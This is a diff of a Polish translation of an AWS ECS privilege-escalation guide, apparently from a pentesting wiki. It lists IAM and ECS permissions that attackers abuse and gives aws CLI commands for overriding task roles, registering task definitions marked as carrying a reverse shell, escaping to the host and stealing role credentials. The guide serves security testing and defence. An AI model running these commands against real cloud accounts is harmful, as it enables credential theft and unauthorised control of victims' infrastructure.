wykonywania zmienić `executionRoleArn`, `taskRoleArn` i `command` kontenera bez modyfikowania task definition. -Określone role IAM dla `taskRoleArn` i `executionRoleArn` muszą w swojej polityce zaufania zezwalać na asumowanie przez `ecs-tasks.amazonaws.com`. +Określone role IAM dla `taskRoleArn` i `executionRoleArn` muszą mieć w polityce zaufania wpis umożliwiający asumowanie przez `ecs-tasks.amazonaws.com`. Dodatkowo atakujący musi znać: -- nazwę klastra ECS -- podsieć VPC -- security group (jeśli nie zostanie podana, użyta zostanie domyślna) -- nazwę Task Definition i numer rewizji -- nazwę kontenera +- ECS cluster name +- VPC Subnet +- Security group (If no security group is specified the default one will be used) +- Task Definition Name and revision +- Name of the Container ```bash aws ecs run-task \ --cluster \ @@ -105,9 +105,9 @@ aws ecs run-task \ ] }' ``` -W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak, aby atak był możliwy, atakujący musi mieć uprawnienie `iam:PassRole` do roli `taskRoleArn` podanej w komendzie oraz do roli `executionRoleArn` określonej w definicji zadania. +W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak atakujący musi mieć uprawnienie `iam:PassRole` do `taskRoleArn` wskazanego w poleceniu oraz do `executionRoleArn` określonego w definicji zadania, aby atak mógł się odbyć. -Jeżeli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), wtedy atakujący może wskazać tę samą rolę IAM zarówno jako `executionRoleArn`, jak i `taskRoleArn` w komendzie `ecs run-task`. +Jeśli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), to atakujący może określić tę samą rolę IAM zarówno dla `executionRoleArn`, jak i `taskRoleArn` w poleceniu `ecs run-task`. ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -125,8 +125,8 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nowy task definition** z **złośliwym containerem**, który kradnie metadata credentials i **uruchomić go**.\ -Jednak w tym przypadku potrzebna jest container instance, aby uruchomić złośliwy task definition. +Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nowy task definition** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić go**.\ +Jednak w tym przypadku, aby uruchomić złośliwy task definition, musi być dostępna instancja kontenera. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Potencjalny wpływ:** Direct privesc do dowolnej roli ECS. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS. -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS mogą **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.** +Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -171,9 +171,9 @@ aws ecs update-service --cluster \ ``` **Potential Impact:** Bezpośredni privesc do dowolnej roli ECS. -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Tak naprawdę, mając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą, np.: +Właściwie, mając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą, przy użyciu czegoś takiego: ```bash aws ecs run-task \ --task-definition "" \ @@ -186,11 +186,11 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\ -To nadal interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez przypisanej roli, możesz **uruchomić uprzywilejowany kontener, aby uciec** na węzeł i **ukraść rolę IAM instancji EC2** oraz **role innych kontenerów ECS** działających na tym węźle.\ -Możesz nawet **wymusić uruchomienie innych zadań wewnątrz instancji EC2**, którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w sekcji [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). +To nadal jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez przypisanej roli, możesz **uruchomić uprzywilejowany kontener, aby uciec** na węzeł i **ukraść rolę EC2 IAM** oraz **role innych kontenerów ECS** uruchomionych na tym węźle.\ +Możesz nawet **wymusić uruchomienie innych zadań wewnątrz instancji EC2**, którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). > [!WARNING] -> Ten atak jest możliwy tylko, jeśli **klaster ECS używa instancji EC2**, a nie Fargate. +> Ten atak jest możliwy tylko wtedy, gdy klaster ECS używa instancji EC2, a nie Fargate. ```bash printf '[ { @@ -233,10 +233,9 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz uruchomionego kontenera i wyeksfiltrować przypisaną do niego rolę IAM (wymagane są uprawnienia describe, ponieważ są one konieczne do uruchomienia `aws ecs execute-command`).\ -Aby to umożliwić, instancja kontenera musi mieć uruchomionego **ExecuteCommand agent** (domyślnie nie jest). +Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonać polecenia** wewnątrz uruchomionego kontenera i wyeksfiltrować przypisaną do niego rolę IAM (potrzebujesz uprawnień describe, ponieważ są one niezbędne do uruchomienia `aws ecs execute-command`).\ Jednak aby to zrobić, instancja kontenera musi mieć uruchomiony **ExecuteCommand agent** (który domyślnie nie jest). -W związku z tym atakujący może spróbować: +Dlatego atakujący może spróbować: - **Spróbować uruchomić polecenie** w każdym uruchomionym kontenerze ```bash @@ -256,18 +255,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Jeśli posiada **`ecs:RunTask`**, uruchom task za pomocą `aws ecs run-task --enable-execute-command [...]` -- Jeśli posiada **`ecs:StartTask`**, uruchom task za pomocą `aws ecs start-task --enable-execute-command [...]` -- Jeśli posiada **`ecs:CreateService`**, utwórz usługę za pomocą `aws ecs create-service --enable-execute-command [...]` -- Jeśli posiada **`ecs:UpdateService`**, zaktualizuj usługę za pomocą `aws ecs update-service --enable-execute-command [...]` +- Jeśli ma **`ecs:RunTask`**, uruchom task przy pomocy `aws ecs run-task --enable-execute-command [...]` +- Jeśli ma **`ecs:StartTask`**, uruchom task przy pomocy `aws ecs start-task --enable-execute-command [...]` +- Jeśli ma **`ecs:CreateService`**, utwórz service przy pomocy `aws ecs create-service --enable-execute-command [...]` +- Jeśli ma **`ecs:UpdateService`**, zaktualizuj service przy pomocy `aws ecs update-service --enable-execute-command [...]` -Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach ECS privesc**. +You can find **examples of those options** in **previous ECS privesc sections**. -**Potencjalny wpływ:** Privesc do innej roli przypisanej do kontenerów. +**Potential Impact:** Privesc do innej roli przypisanej do kontenerów. ### `ssm:StartSession` -Sprawdź na **stronie ssm privesc**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**: +Sprawdź na **ssm privesc page**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**: {{#ref}} aws-ssm-privesc.md @@ -275,7 +274,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Sprawdź na **stronie ec2 privesc**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**: +Sprawdź na **ec2 privesc page**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**: {{#ref}} aws-ec2-privesc.md @@ -283,16 +282,16 @@ aws-ec2-privesc.md ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -Atakujący posiadający te uprawnienia mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchamiać na niej zadania. Mogłoby to pozwolić atakującemu na wykonanie dowolnego kodu w kontekście zadań ECS. +Atakujący posiadający te uprawnienia mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchamiać na niej taski. To mogłoby pozwolić atakującemu na wykonanie dowolnego kodu w kontekście tasków ECS. -- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, tak aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego?? +- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, tak że taski będą uruchamiane na maszynach kontrolowanych przez atakującego?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: Przetestować to -Atakujący z uprawnieniami `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set**. Umożliwia to atakującemu **wykonanie dowolnego kodu w obrębie tej usługi**. +Atakujący posiadający uprawnienia `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` oraz `ecs:DescribeTaskSets` może **create a malicious task set for an existing ECS service and update the primary task set**. To umożliwia atakującemu **execute arbitrary code within the service**. ```bash # Register a task definition with a reverse shell echo '{ @@ -318,9 +317,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Potential Impact**: Wykonanie dowolnego kodu w dotkniętej usłudze, potencjalnie wpływając na jej funkcjonalność lub eksfiltrując poufne dane. +**Potencjalny wpływ**: Execute arbitrary code w dotkniętej usłudze, potencjalnie wpływając na jej funkcjonalność lub exfiltrating sensitive data. -## Referencje +## Źródła - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)